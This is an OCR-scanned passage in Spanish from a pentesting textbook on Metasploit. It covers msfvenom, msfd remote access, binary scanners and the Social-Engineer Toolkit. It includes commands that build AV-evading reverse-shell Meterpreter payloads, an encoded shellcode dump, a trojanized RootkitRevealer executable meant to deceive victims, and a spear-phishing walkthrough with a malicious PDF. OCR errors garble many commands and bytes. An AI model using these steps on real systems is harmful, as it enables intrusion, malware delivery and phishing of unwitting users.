la semantica de los parfimetros. Es mds sencillo utilizar una herramienta cuyos parimetros tienen
semdéntica, come por ejemplo el caso del pardmetro ~p. En esla herramienia se puede utilizar un
parametro semantico, es decir, ~-payload. De esla manera, e} usuario puede entemlu ficilmente la
funcionalidad que la herramienta presenta.

Msfvenom permile crear payloads para utilizar de forma independiente en los exploits que cualquier
usuario puede crear, o se puede utilizar para crear archivos ejecutables para sistemas operativos
como Windows, GNU/Linux u OSX. La funcionalidad es justo la misma que la que dispone fa
herramienta msfpapload, satvo que estas funcionaiidades pueden codificarse automdticamente con
algan algoritmo, como puede ser x86/shikata_ga_nai o x86/countdown, entre otros.

Beneficios del uso de msfvenom
Los principales beneficios que aporta msfvenom a los usuarios del framework de Metcup/ott se
enumeran a continuacion:

- Bl potencial de dos herramientas, cotno son msfencode y msfpayloud, se concentra en una
sola, que ademis es flexible y de uso intuitivo.

- Estandarizacion de este tipo de herramienlas mediante el uso de msfvenom. Con esla
aplicacion el usuario dispone de un estandar para la generacién de payloads y ejecutables
maliciosos para los test de intrusion.

- Bl rendimiento ha sido mejorado considerablemente. La velocidad con la que msfvenon:
trabaja es claramente mas alta que el uso de msfpayload y msfencode por separado. Esto es
bastante 16gico debido a que se evita el paso de informacion entré distintos procesos, y toda
la accidn es realizada por el mismo.

- Facil aprendizaje. Esta herramienta proporciona una interfaz intuitiva, medianle el uso de
parametros semdanticos, con lo que un usuario sin conocimientos previos puede realizar sus
pruebas. Para el auditor o usuario avanzado proporciona una herramienta rapida y con gran
rendimiento.
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Opciones de msfvenom

La herramienta msfvenom dispone de varias opciones, las cuales se especifican a continuacion, Hay
que tener en cuenta que la funcionalidad de la aplicacion puede variar en funcién de las opciones
que se activen o se configuren. Para visualizar todas las opciones disponibles con la hmaimulta €
puede ejecutar la siguiente instruccidn msfvenom —h.

root@ht: ~# msfverom -h ’ i

psage: /opt/metasploit/msf3/msfvenom {options] <var=vals '
Dptions:

-p, --payload [payload} Payload to use. Specify a ‘- or stdin to use custom payload
J

-1, --list {module_type] List a module type example: payloads encoders, nops, all

-n, --nopsled {tength] Prepend @ nopsled of [length] size on to the payload

-f, --format [format] Output format {use --help-formats for a list)
-e, .--enceder [enceder] The encoder to use
-a, --arch [architecture] The architecture to use
--platform  (platform} The platform of the payload
-§, --space [length} The maximum size of the resulting payload

-b, --bad-chars {list}
-1, --iterations [count]
-¢, --add-code [path]
-%, --template [path]

The list of characters to avoid example: '\x0O\xff'
The number of times to encode the payload

Specify an additional win32 shellcode file to include
Specify a custom executable file to use as a template

;k, &~keep Preserve the template behavior and inject the payload as a n
ew threa . ,
-0, --options List the payload's standard options
<h, --help Show this message
--help-formats List available formats

Fig 5.41: Opciones disponibles con fa herramienta msfvenon

En la siguiente tabla se especifica la utilizacion de los distintos parametros y la nomenclatura de
éstos, lanto en formato reducido como en formato semantico.

Parametro Descripceion

-p | —-payload " | Se debe especificar el payload que se quiere utilizar

Se debe especificar el tipo de modules que se quiere hslm, por ejemplo

-1 ~-list
I encoders, payloads, etcétera

-n | --nopsted | Especifica el tamafio sobre el payload

-{| ~~format Se debe especificar el formato de salida, por ejemplo executable, raw, cleélera

| --encoz- lor Espgciﬁcg el encgder que requiere utilizar, por ejemplo x86/countdown. Bsta
funcionalidad es idéntica en msfencode

- | -arch Se especifica la arquitectura dénde se ejecutara el pa_yload

-8 | ~-space Bspecifica el tamafio méximo que debe tener el payload

Especifica el listado de caracteres que deben evilarse en la creacién del

-b | --bad-char.
| --bad-chars payload, por ejemplo, para evitar los bytes null %00’
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Pardmetro . Descripcion

-t | —iterations | Especifica el niimero de iteraciones que ejecutard el encoder

Especifica que el payload se ejecutara en un thread. Este pardmetro implementa
la técnica de ejecutable con “plantilla personalizada sigilosa”

-X[—template” | Especitica una plantilla personalizable. Este parametro implementa fa fécnica
del ejecutable con plantilla personalizada

-k | -~keep

-C | -~add-code | Permife affadit un ejecutable personalizado

-0 --opfions Lista Tas opctones de Tos payloads

Tabla 5.01: Opciones de msfvenom.

Creacién de shellcode codificado
La creacién de un shellcode codificado se simplifica mucho con la utilizacién de msfvenom. Como
ejemplo se propone la utilizacién de los pardmetros ~payload, --encoder, --iterations v —bad-chars.

Ea primer lugar se especifica qué tipo de payload se quiere utilizar, por ejemplo, windows/
melerpreter/reverse_tcp. Con el pardmetro --encoder se indicard qué algoritmo se desea utilizar
para llevar a rabo la codificacion del cédigo, en busca de la evasién de los antivirus. Para e ejemplo
se utilizard et encoder x86/shikata_ga_nai. Con el parametro ~bad-chars se indica la lista de byies
que no se quieren generar en el proceso. Ademds se evitard crear codigo que contenga el hyte ‘W),

root@ht:~4 wsfvenom --payload windows/meterpreter/reverse_tcp --encoder x86/shikata ga nai --iter
ations 5 --bad-chars '\x09' lhost=192.168.1.39 lpert=4444

[*] x86/shikata_ga_nai succeeded with size 317 {iteration=1)

[¥] x86/shikata_ga nai succeeded with size 344 (iteration=2)

f¥ x86/shikata_ga nai succeeded with size 371 {iteration=3)

[*) x86/shikata_ga nai succeeded with size 398 (iteration=4)

[* ¥86/shikata_ga_nai succeeded with size 425 (iteration=5}

uf =

”\xbd\x85\xZf\x7a\x28\xda\xc1\xd9\x74\x24\xf4\x5f\x29\xc9"
“\xb1\x64\x83\xef\xfc\x31\xﬁf\x16\xeS\xﬁf\xle\x64\xda\xae"
"\xec\xb1\x51\x71\x19\xfa\xed\x89\x6f\xb2\x49\x59\xb9\xfb“
"\x37\xac\x51\xe1\x44\x26\xﬁd\x16\x13\xa1\x6c\x9a\x39\xae'
“\xB4\xa2\x31\xcf\xf3\xcb\xbf\x34\xa7\x2f\x61\x78\x74\x9e“
"\xbd\xa2\x37\x2c\xb3\xaa\x7f\xb3\xﬁe\xe4\xa4\x46\x88\x69"
“\xfc\xﬂg\x56\x64\x5e\x59\xcf\xfe\xaB\XZe\XSG\xso\XSS\x41‘
"\x27\x79\xea\x4e\xef\fo\xef\xeﬁ\xf3\xce\xfc\xaa\x3d\xda'
"\ KT9\X87\xd3\x 19\ xdd\xBE\X62\XCI\XTO\XIT\Xb FAX 78\ x82\ xB8"
"\x42\xcﬁ\x19\x4e\x5f\xcd\xdf\x94\x16\xa7\x55\xb8\xfb\x54"
"\x6H\x93\x07\xee\x68\x67\fo\be\x38\xcd\x88\xae\x27\x44"
"\xb9\x54\xf2\x67\x9c\x66\x5a\x67\x34\xff\xlf\x7a\x5f\x97“
“\x26\x52\xa7\x9a\x22\x13\xZG\de\x57\xe6\x1c\xb7\xfa\x1b"
“\xec\x40\x5a\xcd\xbc\xbd\xd2\xfb\xdd\x9f\x5c\xa4\xﬁa\xf5"
“\xse\xzd\x5e\x57\x95\xge\xde\xec\xfb\xSB\xba\xﬁa\fo\xbﬁ"
“\x5c\x32\xd9\xf7\xsc\x61\x7b\xE7\x59\xa1\x3b\x4b\x96\x1c"
"\xe5\xle\xa5\x18\x89\xIB\x1d\x42\xd3\x34\x27\xe4\xcd\x0b"
"\xcd\xab\x6l\x32\x4b\x2e\x99\xec\xBa\xla\xbd\le\xlB\de“

Fig 5.42: Generacion de shellcode codificado sin bytes nulos,
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PoC: Creacion de ejecutable codificado con msfvenom

En esta prueba de concepto se creard un ejecutable para sistemas Windows con la herramient:
misfvenom. Ademds, se probard mediante el uso de Virus Total si el ejecutable es efectivo en la
evasion de antivirus. , |

N

Se utilizard la técnica de la plantilla personalizada para crear el ejecutable, ya que como se ha visto‘
anteriormente se consigue evitar a un mayor niimero de antivirus. No se utilizard la tdenica deld
thread para lanzar el payload.

El ejecutable que se utilizard como plantilla es la herramienta RootkitRevealer de Sysinternals,
Csta hetramienta permite detectar posibles rootkits ejecutandose en un sistema Windows. Lo que
se pretende es ulilizar la imagen de una aplicacién que es utilizada para detectar amenazas paral
inyectar un payioad y convencer al usuario victima de que la ejecute.

h, TootkitRevealerCodificado
st Rootkit detection utifity
Sysinternals - wew. sysinterna, .,

Fig 5.43: Archivo ejecutable rootkitRevealerCadificado.exe.

Para crear el ejecutable con la plantilla de RootkitRevealer se utilizard el parimetro —template
para indicar la ruta donde se encuentra dicho ejecutable. En Ia imagen se puede visualizar como
s utilizan los pardmetros comunes que se utilizan en msfpayload y en msfencode, todo ello en una
tnica herramienta,

root@bt:~# msfvenom --payload windows/meterpreter/feverse_tcp --format exe --encoder x86/shikata
da_nai --iterations 10 --template /root/rootkitrevealer,exe host=192,168.1.37 lport=4444 > rootk
i tRevealercCodificado. exe .
[¥] xB6/shikata_ga nal succeeded with size 317 {iteration=1)

[*] x26/shikata_ga_nai cucceeded with size 344 {iteration=2)

{*] x88/shikata_ga nai succeeded with size 371 {iteration=3)

i*] x86/shikata_ga_nal succeeded with size 398 {iteration=4)

[*] xB6/shikata_ya tai succeeded with size 425 (iteration=5)

[*1 x86/shikata_ga nai succeeded with size 452 {iteration=6)

¥} x86/shikata_ga nai sqcceeded with size 479 (iteration=7)

[*] xB6/shikata_ga_nai succeeded with size 506 (iteration=8)

[¥] xBE/shikata ga nai succeeded with size 523 {iteration=9)

[*] xB6/shikata_ga nai succeeded with size 560 {iteration=1p)

Fig 5.44: Creacién de archivo cjecutable con msfvenom.

Tras crear el ejecutable y distribuirlo a las posibles victimas serfa conveniente comprobar el estado
de los antivirus respecto al archivo malicioso. Se procede a la subida y anlisis del archivo por parte
de Virus Total. '

Los resultados indican que la mitad de los antivirus que se encuentran en Virus Total detectan el
archivo. El porcentaje de éxito seria por lo tanto de un 50% en este caso. Ya se habia comprobado
en-el apartado dedicado a msfencode como la técnica de plantilla personalizada devolvia los mejores
resultados.
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mvirustotal

; SHAZ56: £66289¢4 1826/2dc39539411521 Adcend37 dda 19388480867 78dcB 2123 afall
Mambre: rootkitRevealerCodificado. exe
Detecciones: 20740

Fecha de andlisis:  2012-08-25 15:35:33 UTC ( hace 1 minuto )

P
e

s vietulles

Fig 5.45: Resulindos obtenidos de virus total de la creacion de cjecutuble con msfvenam.

0. Misfd: Gestion remota

Esta aplicacién es un demonio o servicio que ofrece la posibilidad de conectarse de manera renf](?ta
al framework. Hay que tener en cuenla que cuando varios clientes se coneclan a este servicio,
realmente estan utilizando la misma instancia del framework. Msfd proporciona a los peniesters de
un servicio global qué se puede utilizar y ofrece el potencial de Metasploit de manera independiente
a la maquina que se esté utilizando. Simplemente con disponer de una conexion a Inlernel 0 a una
red interna, se puede utilizar el potencial y flexibilidad del framework.

Para obtener ayuda en el uso de la herramienta msfd s dispone de la instruccion msfd —h. Con esta
instruccién se obtiene informacion del uso y las posibilidades que ésta ofrece. Las opciones se
estudiarin a continuacion y se ilustrard mediante el uso de ejemplos las posibilidades reales de la
aplicacion.

Opciones de msfd _
La aplicacion, en principio, parece menos configurable de lo que realmente es. Se pueden realizar
diversas tareas como fortificar la conexion entre el auditor y el framework, configurar el puerto que
sc desee, implementar una lista de hosts desde los que se puede conectar a Metasploit, etcétera. En
la siguiente tabla se muestran las distintas opciones y funcionalidades que ofrece msfd.

Parametro ~ Descripcién

Se especifica una lista con las direcciones IP desde las que se permiten realizar
conexiones al framework. :

-A

-a Asocia fa direccion [P proporcionada a la instancia del fiamework.
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— . .
Se especifica una lista con las direcciones IP desde las que no se permiten realizar
D : N q I ¢
conexiones al framework.
-f Ejecuta el servicio en primer plano.
-p Asocia un puerto a la instancia.
-S Utiliza SSL para fortificar la conexidn.

Tabia 5.02: Opciones de msfd.

Como curiosidad puede llamar la atencién no disponer de una autenticacion para uttiizar el fFamework
en remoto, Aunque pueda parecer extrafio, si se requiere fortificar el uso del framework es mejor
utilizar protocoios como SSH, Secure SHell, para proteger lanto el canal como el acceso a éste,

PoC: Conexion en un puerto personalizado y preparando expleit
En esta prueba de concepto se utilizan dos mdquinas bien diferenciadas. En fa primera se estd
ejecutando una distribucion de BackTrack 5 donde se configurard el servicio msfd de manera
personalizada. La segunda maquina es un Windows XP, aunque este hecho no es relevante ya que
funcionaria exactamente igual en una versién comq Windows 7. En la miquina con Windows AP se
conectara con ¢l servicio mgfd a través de la herramienta Nercat, la cual es conocida en el mundo de
la administracion y la seguridad como la “navaja suiza”.

En primer lugar se configura la aplicacion msfd con los siguientes pardmetros:

- El servicio se ejecutara en-segundo plano. Este hecho ya viene configurado por defecio,
si se quisiera realizar la ejecucion en primer plano, bloqueando la shell de este modo, se
ejecutaria el pardmetro —f.

- El servicio aplicard una lista con direcciones IP donde se especificaran las que ne pueden
conectarse remotamente.

- El servicio aplicard una lista con direcciones IP donde se especificaran las que si se
pueden conectar remotamente.

- Elservicio se gjecutard a la escucha en e} puerto 9600.

- El servicio se enlazaré con la direccién IP 192.168.1.40 que es la que pertenece a la
maquina con BackTrack en esta prueba de concepto.

En la imagen se puede visualizar como se configura la aplicacién y ésta se ejecuta en segundo plano
o background. '

-oot@root:~# msfd -p 9600 -A 192.168.1,35,192.168.1.36 -D 192.168.1.34 -a 192.168.1.40
[*] Initializing msfd...

{*] Running msfd...

root@root:~#

Fig 5.46: Configuracién y ejecucion de la aplicacion nisfd.
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Tras dejar el servicio preparado, la maquina con Windows XP y la aplicacion Netcat disponible
realizard fa conexién. Para ello, simplemente se debe ejecutar la instruccién ne.exe <direccion IP>
<puerio>, en este caso nc.exe 192.168.1.40 9000. Se puede utilizar el parAmetro ~v para visualizar
las operaciones que esl4 realizando la herramienta.

Si todo sucede correctamente se podra visualizar el banner de Metasploit en Ja linea de comandos
de Windows y se dispondrd de la consola del framework de manera remota.

PER /YL 1B

Fig 5.47: Conéxién remota al framework mediante el uso de Netcat,

Una vez que se dispone del control de la instancia del framework de manera remota, los comandos
son exactamente iguales que si se estuviera en local. Por eso, para cargar ¢f médulo exploitimulti/
handler se utiliza el comando use. Como se puede visualizar en la imagen se utilizan los mismos

pasos para la configuracién del madulo.

2t PRYLOND

L5 ol SR R
08T A92,46

show oaptions,

EATLRUNG  ‘process S Bxdt veshindgue s seh,. thvead, piso

BHOST 0 498 468, 1.5 - yus Tl pon addoegy | ¢
CoRPORT - addd . 1 The: Listen poet

Shand TG : :
Fig 5.48: Configuracién exploit/multi/handler a través de Netcat.
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7. Manipulacion de memoria

Las herramientas disponibles en el framework para la manipulacion y andlisis de memoria se centran
en el desensamblaje de las aplicaciones. ,Cual es el objetivo de este tipo de aplicaciones? El fin es
estudiar el cddigo en ensamblador de dichas aplicaciones, poder visualizar y conocer variables y las
posiciones en memoria de éstas e instrucciones de la aplicacion.

Estas acciones son realizadas normalmente por los investigadores de seguridad en busea de
vulnerabilidades en las aplicaciones. El codigo en ensamblador es realmente el que es ejecutado,
es por ello que si el investigador lo conoce puede determinar en qué lugar puede manipular el EIP,
puntero de instruccion, del cual ya se coment en el apartado dedicado a msfpayload. En definitiva
se busca obtener vulnerabilidades de tipo hujfer overflow.

El framework dispone de las herramientas msfelfscan y msfpescan para estudiar y analizar el codigo.
ixisten otras herramientas compatibles con las acciones que realizan las mencionadas anteriormente,
como son findjmp2, windbg o memdump.

Msfelfscan y msfpescan

La herramienta msfelfscan permite escanear y analizar aplicaciones ELF en sistemas GNU/Linux.,
Por otro lado la herramienta msfpescan permite escanear o analizar ficheros ejecutables y DLLs de
sistemas Findows, Se pueden encontrar instrucciones en ensamblador sobre una imagen de memoria
de la aplicacion, '

Para obtener una imagen de memoria de una aplicacion, ésta debe set lanzada en el sistema objeto,
va ‘sea Windows o GNU/Limux. Una vez se conoce el PID, identificador del proceso, se pueden
ejecutar herramientas como Memdump, mencionada anteriormente para crear la imagen de la
memoria del proceso. Tras haberse realizado el volcado de memoria anterior se puede analizar con
las herramientas msfelfscan o msfpescan.

Lstas herramientas suponen un conccimiento en ingenieria inversa importanie y requiere
conacimientos basicos sobre este tipo de arte. '
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Capitulo VI
Ingenieria social con SET

1. Ingenieria social .

la ingenieria social es el medio por el que los usuarios maliciosos o delincuem;s compuiacionales
manipulan a los usuarios para lograr acceso ilicito a la informacion, credenciales,lescalar privilegios,
eleétera.

E1 principio de la ingenieria social es que la parte més débil de todo sistema es eljusuario, es por ello
que concienciar a éstos debe ser una de las prioridades de toda empresa. Los medios que el ingenicro
social utiliza, generalmente, son el teiéfono e Internet. En'cierto tipo de auditoriaé también puede ser
vilido hacerse pasar por otros compafieros de lrabajo, con el fin de sacar el méximo de informacidn.

El ingeniero social puede utilizar técnicas como la suplantacion de webs, envio de mails con
peticiones de recordalorios de contrasefas, envio de SMS falsos con enlaces a paginas webs bajo
el control del ingeniero social, la cual suplanta a otra web conocida, étcétera. Todas estas [Ecnicas
estan, hoy en dia, muy optimizadas, lo cual hace que, en algunos casos, diferenciar la web falsa o
phishing sea complicado para un usuario. ‘

El usuario, generalmente, tiene un comportamiento predecible o acciones automatizadas cuando se
enfrenta a ciertas pdginas, por lo que si no se toman las medidas adecuadas, ésie puede ser estafado
via Internet, por ejemplo con un phishing de la pagina web de su banco, en la que tras introducir
las credenciales, se redirija al original o se alerte al usuario de que el sitio web no se encuentra
disponible en esc momento.

Uno de los ataques mds comunes, y a la vez mis simples, y efectivos es engafiar a un usuario para que
piense que un sistema le estd solicitando su contrasefia para ciertas acciones. Muchos de los usuarios
de Internet reciben, frecuentemente, mensajes que le solicita este tipo de informacion, credenciales
de cuentas, de bancos, tarjetas de crédito, con el motivo de crear una cuenta, por ejemplo. Este tipo
.de ataques, como se mencion6 anteriormente, se denominan phishing y es una plaga en Internet.
Actualmente, los bancos y propietarios de este tipo de sistemas advierlen periddicamente a los
usuarios para que no revelen informacion sensible, como tarjetas de crédito, credenciales, elcéiera,
por Internel, ya que este tipo de informacidn nunca se solicitara por este medio.
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Existen olros métodos propios de la ingenierfa social mds clasica como es la revelacion de las
contrasefias a cambio de otros objetos. Se realiz6 esta prueba en una oficina de Londres donde un
alto porcentaje de los empleados revelaron su contrasefia a cambio de un simple beligrafo.

Otro de los métodos clésicos de la ingenieria social es el uso de los archivos adjuntos en emails, en
los que se ofrece fotos, aplicaciones, documentos ofimaticos los cuales cjecutardn codigo maliciose,
con el objelivo de troyanizar la maquina de la victima, En tal caso, dicha maquina puede ser utihzada
para formar parte de una botnet, y poder asi enviar mails a modo de spam, entre otras acciones
maliciosas. Bn realidad, se necesita que el usuario ejecute estos archivos adjuntos, pero es cierto
que muchos de los usvarios de Internet abren a ciegas los archivos que reciben en sus correos
electronicos, haciendo fuerte este método de ataque.

Hisloricamente, como se puede ver en ciertas peliculas de hackers la ingenieria social presenta su
cara mas visible en la manipulacién cara a cara para la obtencion de acceso a los sistemas. Un posible
ataque dirigido puede comenzar con el proceso de ingenierfa social, es decir, el conocimiento de la
victima, |

La defensa contra la ingenieria social es el sentido comiin, y concienciar a los usuarios de los
sistemas de la informacion de que acciones se pueden pedir a través de los medios telematicos,
como mapejar el correo electrénico, no fiarse de correos sospechosos, navegacion segura, evitar tos
enlaces a;cortados o enlaces sospechosos, utilizacion de plugins que ayuden a la navegacién scgura,
eicélera. |

, .
Posiblemente el ingeniero social mas famoso de la breve historia de la informatica es Kevin Mitnick,
al cual sé{ le hizo una pelicula sobre su vida. Segin Kevin Mitnick la ingerieria social se basa en
cuatro principios que se enumeran a continuacion:

-] Todo el mundo quiere ayudar.
|
- i El primer movimiento es siempre de confianza hacia el otro usuario.

- ' Al ser humano no le gusta decir no.

A todo el mundo le gusta que le alaben.

2. ;Qué es y qué propone?

SET o Social Engineer Toolkit es un script que proporciona al auditor un conjunto de herramientas
relacionadas con la ingenieria social. Este conjunto de herramienias se integra con Metasploif para
realizar ingenieria social y la intrusion en los sistemas remotos.

SET ofrece una aplicacion que centraliza todas las funcionalidades necesarias para realizar ingenieria
social a través de medios telemadticos, todo para realizar pirateria de la mente humana. El propdsito

principal de SET es aportar a la comunidad y a los auditores la posibilidad de utilizar pruebas
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busadas en la ingenieria social para obtener resultados y comprobar la conciencia de Tos empleados
de una empresa.

El conjunto de herramientas que forman SET atacan debilidades humanas, las cuales aprovechan la'
curiosidad de los usuarios, eredibilidad o avaricia. Este tipo de ataques, comg se podra estudjar end
este capitulo pueden llegar a ser muy avanzados en la actualidad. ‘

Muchos especialistas en este tema piensan cue la ingenieria social es uno de los mayores riesgos y
los que se enfrentan las empresas hoy en dia, ya que es realmente dificil proteger a éstas de un ataque
de este estilo. '

Un vector de ataque en seguridad informatica es fa via utilizada para obtener acceso, ya sea a la‘

. . 3 . B . . . ? )
maquina remola, maquina local, informacién, credenciales, etcétera. SET clasifica fos ataques of
vectores de ataque de la siguiente manera:

- Vector de ataque: phishing.

- Vector de a.taque.: web.

- Medios o dispositivos infectados.
- Payloads como ejecutables.

- Ataques por correo electronico.

- Falsificacion de SMS.

vieleome to the Social-Engineer Toolkit (SET). Your onp
stap shop for all of your seeial-engineering neegs. .

RerbyCon 2011 Sep38-0ct02 - http://vwe.derbycon. com
Select from the menu:

Spear-Phishing Attack Vecters
Website Attack Vectors

Infectious Media Generator

Create a Payload and Listener
Mass Mailer Attack

Teensy USB HID Attack Vector

SMS Spoofing Attack Vector
Wireless Access Point Attack Vector
Third Farty Modules

10. Update the Metasploit Framework
11. Update the Social-Engineer Toolkit
12. Help, Credits, and About

13. Exit the Social-Engineer Toolkit

WD W~ U O I

Enter your choice:

Fig 6.01: Menil de opciones de SET.

Los vectores de ataque mencionados a11te|'jorn1ente disponen de distinta taga de éxito, realmente
depende del destinatario y de la calidad del ataque. SET viene con plentitlas de correo ’electr(’)nico
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y sitios web por defecto, los cuales pueden ser utilizados para realizar ingenieria social. SET se
encuentra disponible en la siguiente ruta, en una distribucién BackTrack 5, /pentest/exploils/sel.

Configuracién de SET. :

La configuracion de SET se puede realizar a través del fichero de configuracion que se encuentra
en la ruta /pentest/exploitsiset/config/set_config. Existen distintas variables que deben estar bien
configuradas para sacar el maximo provecho a SET. A continuacién se irdn enunciando distintas
variables que ayudan a aprovechar las distintas opciones y vectores de ataque que SET consigue
explotar gracias a la ingenierfa social. '

La primera variable que se presenta es METASPLOIT PATH. Esta variable indica a SET en que
ruta se encuentra insialado el framework de Metasploit. La variable SELF_SIGNED _APPLET
viene deshabilitada por defecto y es recomendable activarla. Esla variable indica si el applet serd
firmado con el publicador que se quiera suplantar, siempre y cuando el JDK se encuentre instalado.
Esta variable se utiliza para el ataque de web basado en el applel de JAVA, el cual se encuentia
aulofirmado.

La variable AUTO_DETECT viene activada por defecto y proporciona la posibilidad de configurar

automaticamente la direccion IP que se asignar a los servidores web. Es recomendable desactivar
esta variable si se utilizan distintas interfaces o si el lisfener inverso que espera la conexion se
encuentra en otra ubicacién y no en la méquina local.

La variable APACHE_SERVER viene deshabilitada por defecto, y es recomendable activarla ya que
Apache es un servidor web muy potente y configurable. El servidor web que SET utiliza por defecto
esta basado en Python y con menos potencial que Apache. Otra variable relacionada con Apache
es APACHE _DIRECTORY, la cual especilica en qué ruta se encuentra instalado el servidor web
Apache.

Otra variable interesante es WEB_PORT con la que se especifica el valor del puerto en el que se
montard por defecto el servidor web, por ejemplo del ataque del applef de JAVA.

AUTO_MIGRATE es una variable muy importanie en la configuracién de SET. Por defecto se
encuentra desactivada. Si esta variable se encuentra activa, cuando se realice la explotacion, el
payload migraré automaticamente a otro proceso, como es el creado por defecto, notepad.exe. Esla
configuracién puede inlroducir ciertos fallos en el proceso global, aunque aun asi es aconsgjable de
utilizar.

La variable METASPLOIT IFRAME_PORT indica el puerto utilizado para realizar un alaque de
iframe injection usando la técnica de browser autopwn, vista con anterioridad en este libro. Por
defecto el valor de la variable es 8080. Otra variable interesante de Metasploit en el archivo de
configuracién de SET es METERPRETER _MULTI_COMMANDS establece qué comandos se
quieren ejecutar cuando una sesién de Melerpreter es conseguida.
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Para elegir qué herramienta realizard la técnica de DNS Spoofing existe 1a vwriable' DNSSPOOF
PATH. Es inleresante estudiar esta técnica para realizar un DPhishing control ) ‘ 0

todo instante ado por el atacanlc en
A .

La variable ACCESS _POINT SSID indica qué nombre tecibisg el punto de acceso

int . alseado con
SET. Es interesante para ataques de suplantacién de AP o puntos de acceso. en los tipicos ataques de
ingenieria'social a redes wireless. . ) picos atag

Estos son algunos ejemplos de variables importantes del fichero de ConﬁgUI-z{Ci(’m de SET Como
s¢ puede ver es allamente recomendable visualizarle y e o

> | : . a que es muy potente y puede cambiar,
facilmenie, el comportamiento de la herramienta,

3. Vector de ataque: phishing

Este vector de alaque automaliza el proceso de envio de corpegs electrénicos. tanto via Sendeil
como Gmail, que llevan adjuntos archivos maliciosos, 10s cyales contienen aig(m lipo de exploi
La victima recibir el correo electronico y puede abrir el archiyg adjunto pmvocandb una l;(fsibié
explotacion de su sistema. SET puede utilizar el protocolo SyTp para realizar envios andnimos de

correo electrdnico o utilizar una cuenta de Gmail para realiza, dicha accion
a d .

En esle vector de ataque también figura la posibilidad de eqy;
phishing mediante contenido HTML. Normalmente, este i
masiva, ya sea un ataque dirigido o no dirigido. _

ar correos para realizar ataques de
po de alaques se realiza de nianera

Para poder realizar spoofing del correo electrénico en este tipg de via'se debe cambiar el valor de la

. . . k4 I’
variable SENDMAIL, la cual por defecto viene desactivada en ¢| fichero de configuracion de SET
por el valoron. De todos modos al seleccionar esta opcidn en el meni de SE ,

vaior o i T, la propia aplicacion
comunicara esta accidn al usuario. :

PoC: Ataque dirigido a un dominio

En esta prueba de concepto se utiliza la herramienta SET para realizar un ataque de phishine vic
correo electronico. El objetivo es una empresa ficticia degon?i:si;lfla,lotl,‘-}:);[(\;:}s;,/iz_f(/:,l;/”]ch:lgl
tiene en plantilla a un gran nimero de empleados. La accidn a realizar serd enviar un gran) namero
de mails al dominio de dicha empresa con un archivo maliciggg adjunto, obteniendo previamente
direcciones de correo electrénico de dicha empresa. Se sabe que 1a m,ayoria de los empleados
visualizara el correo, pero no abrirdn el archivo adjunto. Los usuarios que si ejecuten el archivo
adjunto pondran a prueba la fortaleza de sus sistemas.

Para llevar a cabo este ataque en el menii de SET se elegirg |4 primera opcién “Spear-Phishing
Attack Vectors”. ’



Metasploit para Penlesters

Select from the menu:

Spear-Phishing Attack Vectors
Website Attack Vectors

Infectious Media Generator

Create a Payload and Listener
Mass Mailer Attack

Teensy USB HID Attack Vector

SMS Spoofing Attack Vector
Wireless Access Point Attack Vector
9. Third Party Modules

18. Update the Metasploit Framework
11. Update the Social-Engineer Toolkit
12, Help, Credits, and About

13. Exit the Social-Engineer Toolkit

B~ O T &N e

Enter your choice: 1

Fig 6.02: Bleccion de Spear-Phishing Attack Vectors

Tras la eleccion del vector de ataque se debe elegir entre varias opciones:

- Perform a Mass Email Attack. Realiza un envio masivo de correos electronicos sobre una
organizacion. Esta opcién es la valida en esta prueba de concepto.

- Create a FileFormat Payload. Crea el archivo malicioso y lo deja a disponibilidad del
usuario. :

- Creale a Social-Engineering Template. Permite crear nuevas plantiilas para el envio de
mails. ,

Welcome to the SET E-Mail attack method. This medule allows you

to specially craft email messages and send them to a large (or small)

number of people with attached fileformat malicieus payloads. If you

want to spoof your email address, be sure “Sendmail® is installed (it

is installed 'in BT4) and change the config/set_config SENDMAIL=OFF flag
0 SENDMATL=ON.

There are two options, one is getting your feet wet and letting SET do
everything for you {option 1), the second is to create your own FileFormat
payload and use it in your own attack. Either way, good luck and enjoy!

1. Perform a Mass Email Attack

2. Create a FileFormat Payload

3. Create & Social-Engineering Template
4. Return to Main Menu

Enter your choice: 1

Fig 6.03: Eleccion de Perform a Mass Email Attack

Tras elegir el método de ataque que se utilizard, SET proporciona una lista de formatos de archivos
que se pueden usar para adjuntar al correo electrénico. En este caso la eleccidn serd el archivo
PDF con el exploit Embedded EXE Social Engineering de Adobe, con el que se crear un archivo
PDI* malicioso el cual inyectard un payload en ta maquina remota, siempre y cuando Ja version de
Adobe Reader sea vulnerable. Lo importante en este punto es la variedad v, a la vez, resumen de
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. e 0 » 1
exploits que proporciona SET para el auditor. No hace falta recordar todas las posibilidades para

crear archivos maliciosos, SET las ofrece a través de menis con interaccién con el usuario.

Select the file format exploit you want.
'The default is the PDF embedded EXE,

ERRELRERE PAYLOADS $Reksasqsn

SET Custom Written BLL Hijacking Attack Vector {RAR, ZIP)

SET Custom Written Document UNC LM SMB Capture Aitack
Microscft Windows CreateSizedDIBSECTION Stack Buffer Overflow
Microsoft Word RTF pFragments Stack Buffer Overflow (MS10-887)
Adobe Flash Player 'Button' Remote Code Execution

Adobe CoolType SING Table 'uniqueName' Overflow

Adobe Flash Player 'newfunction' Invalid Pointer Use

Adobe Collab.collectEmailInfo Buffer Overflow

Adobe Collab.getIcon Buffer Overflow

10. Adobe JBIG2Decode Memory Corruption Exploit

11. Adobe POF Embedded EXE Social Engineering

12. Adobe util.printf({) Buffer Overflow

13, Custom EXE to VBA (sent via RAR} (RAR required)

14. Adobe U3D CLODProgressiveMeshDeclaration Array Overrun

15. Adobe PDF Embedded EXE Social Engineering (NOJS)

16. Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow

17. Nuance PDF Reader v6.8 Launch Stack Buffer Overflow

WO T B W N

Enter the number you want (press enter for default): 1
Fig 6.04: Eleccién de PDF Embedded EXE Social Engineering

Este tipo de ataque permite elegir entre un PDF en blanco, el cual tras ejecutarle no muestre ningtin

~ contenido pero si intente ejecutar el payload, y entre un PDF ya creado con anterioridad. Con 1a

segunida opcion se intenta dotar al PDF de mayor creditilidad en el arte de la i ingenieria social. Para
la prueba de concepto se utiliza la opcidn del PDF en blanco.

1vou have selected the default payload creation. SET will generate a normal POF with embedded EXE

1. Use your own POF for attack
2. Use built-in BLANK PDF for attack

Enter your cheice {return for default): 2

Fig 6.05: Eleccion de PDF blank

En el siguiente paso se debe seleccionar el payload que se quiere utilizar, La eleccion del payload,

como se ha mencionade con anterioridad en este libro, es muy xmpmlante y SET ofrece una lista de
variantes,

Los payloads disponibles dependeran del exploit que se esté utilizando, ya que hay que recordar
que no todos los payloads valen para todos los exploits. En este caso se utiliza un Meterpreter de
